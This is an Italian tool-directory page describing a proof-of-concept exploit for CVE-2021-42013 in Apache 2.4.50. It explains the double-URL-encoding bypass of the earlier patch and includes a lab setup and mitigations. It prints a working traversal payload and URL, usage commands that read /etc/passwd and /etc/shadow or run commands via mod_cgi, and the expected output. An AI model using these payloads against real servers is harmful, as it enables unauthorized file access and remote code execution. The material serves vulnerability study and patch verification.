Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-42013 — Exploit di prova di concetto per CVE-2021-42013, che dimostra path traversal ed esecuzione di codice remoto su Apache 2.4.50 tramite bypass della doppia codifica URL della patch per CVE-2021-41773. | Kitploit
Strumenti/GitHubGitHub/joapath/cve-2021-42013
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Exploit di prova di concetto per CVE-2021-42013, che dimostra path traversal ed esecuzione di codice remoto su Apache 2.4.50 tramite bypass della doppia codifica URL della patch per CVE-2021-41773.

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (bypass della patch)

Solo per uso in ambienti controllati e propri. Non usare contro sistemi senza autorizzazione.


Descrizione

PoC sviluppata per dimostrare CVE-2021-42013, presente in Apache HTTP Server 2.4.50.

Questo CVE è il bypass della patch che Apache ha pubblicato per CVE-2021-41773. La versione 2.4.50 ha tentato di correggere il path traversal precedente aggiungendo una validazione che respingeva le sequenze .%2e e %2e.. Tuttavia, quella validazione era insufficiente: non considerava che lo stesso risultato poteva essere ottenuto con doppio URL encoding, lasciando esposta la stessa superficie di attacco.


Relazione con CVE-2021-41773

CVE-2021-41773CVE-2021-42013
Versione affettaApache 2.4.49Apache 2.4.50
Encoding utilizzato.%2e/%%32%65%%32%65/
MeccanismoSingolo encodingDoppio encoding (bypass della patch)
RCE possibileSì (con mod_cgi)Sì (con mod_cgi)
Versione corretta2.4.50 (patch incompleta)2.4.51

Perché la patch di 2.4.50 è fallita

La patch di Apache 2.4.50 ha aggiunto una validazione in ap_normalize_path() che cercava letteralmente le sequenze .%2e e %2e. nel path della richiesta. Se le trovava, respingeva la richiesta con 400 o 403.

Il problema: quella validazione veniva eseguita sulla stringa prima di un secondo passaggio di decodifica URL. Se il payload era doppiamente codificato, la validazione non trovava la sequenza proibita perché non era ancora decodificata — e quando finalmente veniva decodificata per risolvere il path del filesystem, ../ era già presente e il traversal avveniva comunque.

root@kitploit:~
Payload:          %%32%65%%32%65/
Validazione 2.4.50 cerca: .%2e → NON TROVA → lascia passare
Prima decodifica:   %%32%65%%32%65/ → %2e%2e/
Seconda decodifica:   %2e%2e/         → ../
Risultato:        traversal riuscito

La correzione reale è arrivata in 2.4.51, dove Apache ha riscritto la logica di normalizzazione per risolvere completamente il path prima di applicare qualsiasi validazione di sicurezza.


Il doppio encoding — come funziona

%%32%65 è la rappresentazione doppiamente codificata di .:

root@kitploit:~
.  →  %2e  (encoding standard)
%  →  %25  (encoding del simbolo %)
2  →  %32  (encoding del carattere '2')
e  →  %65  (encoding del carattere 'e')

Quindi %2e con il suo % codificato e i caratteri hex codificati diventa %%32%65.

Una prima decodifica di %%32%65 produce %2e. Una seconda produce ..


Condizioni necessarie

CondizioneDettaglio
Versione di ApacheEsattamente 2.4.50
Direttiva di accessoRequire all granted nella directory esposta
Modulo CGImod_cgi abilitato (solo per RCE)

Ambiente di test

root@kitploit:~
# Immagine di Apache 2.4.50 con configurazione vulnerabile
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

O manualmente con Apache 2.4.50 e questa configurazione in httpd.conf:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Utilizzo dello script

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argomenti

Esempi

root@kitploit:~
# Leggere /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Eseguire id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando con spazi
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Output atteso — modalità traversal

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass della patch di CVE-2021-41773 via doppio encoding
  PoC a fini educativi — Solo in ambienti propri
============================================================

[+] Modalità: Path Traversal (doppio encoding — bypass patch CVE-2021-41773)
[+] Obiettivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL costruita: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Invio richiesta...

[+] Server vulnerabile! Codice stato: 200
[+] Confermato: Apache 2.4.50 con patch incompleta
=== Contenuto di /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

Output atteso — modalità rce

root@kitploit:~
[+] Modalità: RCE via mod_cgi (doppio encoding — bypass patch CVE-2021-41773)
[+] Obiettivo: http://localhost:8080
[+] Comando: id
[+] RCE confermato! (Apache 2.4.50 — patch incompleta)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigazione

  • Aggiornare Apache alla versione 2.4.51 o superiore.
  • Mantenere Require all denied come valore predefinito.
  • Disabilitare mod_cgi se non necessario.
  • Non fidarsi mai che una patch sia completa senza revisionarla: l'analisi del diff di 2.4.51 mostra che la correzione reale ha richiesto la riscrittura completa della logica di normalizzazione.

Riferimenti

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis

PoC sviluppata a fini educativi per portfolio di sicurezza offensiva.

Scarica lo strumento
ArgomentoObbligatorioDescrizione
--targetSìURL base del server (es: http://localhost:8080)
--modeSìtraversal per leggere file, rce per eseguire comandi
--cmdNoComando da eseguire in modalità rce (default: id)